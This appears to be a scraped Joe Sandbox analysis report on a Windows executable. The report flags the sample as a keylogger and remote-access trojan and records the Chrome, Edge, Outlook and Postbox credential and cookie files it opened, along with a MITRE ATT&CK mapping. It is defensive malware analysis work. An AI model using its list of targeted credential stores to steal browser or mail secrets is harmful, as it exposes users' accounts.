Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected ReverseShell

Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240, type: MEMORYSTR

Yara detected Snake Keylogger

Source: Yara match

File source: 00000006.00000002.4622133854.0000000003071000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4622133854.0000000003127000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240, type: MEMORYSTR

Remote Access Functionality

Yara detected ReverseShell

Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240, type: MEMORYSTR

Yara detected Snake Keylogger

Source: Yara match

File source: 00000006.00000002.4622133854.0000000003071000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4622133854.0000000003127000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 299371485_14108825808_1736351479899.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
299371485_14108825808_1736351479899.exe